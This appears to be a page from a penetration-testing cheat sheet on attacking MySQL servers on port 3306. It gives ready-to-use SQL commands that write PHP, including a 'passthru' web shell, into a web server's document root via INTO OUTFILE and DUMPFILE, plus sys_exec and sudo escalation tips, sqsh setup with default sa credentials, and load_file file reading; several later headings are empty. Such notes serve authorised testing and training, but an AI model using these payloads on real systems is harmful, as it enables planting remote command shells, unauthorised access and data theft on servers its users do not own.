πŸ˜›Port 3306 (MYSQL)

shell

If we have MYSQL Shell via sqlmap or phpmyadmin, we can use mysql outfile/ dumpfile function to upload a shell.

echo -n "<?php phpinfo(); ?>" | xxd -ps 3c3f70687020706870696e666f28293b203f3e

select 0x3c3f70687020706870696e666f28293b203f3e into outfile "/var/www/html/blogblog/wp-content/uploads/phpinfo.php"

or

SELECT "<?php passthru($_GET['cmd']); ?>" into dumpfile '/var/www/html/shell.php';

tips

 select sys_exec('/bin/bash');
 bash -p or sudo su

sqsh:

sqsh program: apt-get install sqsh freetds-bin freetds-common freetds-dev
usage:
add to the bottom of freetds.conf:
[hostname] host = 192.168.168.169
port = 2600
tds version = 8.0
edit ~/.sqshrc:
\set username=sa
\set password=password
\set style=vert
connect: sqsh -S hostname

file inclusion

If you have sql-shell from sqlmap/ phpmyadmin, we can read files by using the load_file function.

nmap nse

Brute force

Extracting MySQL credentials from files

Connect

MySQL commands

Manual exploit

Last updated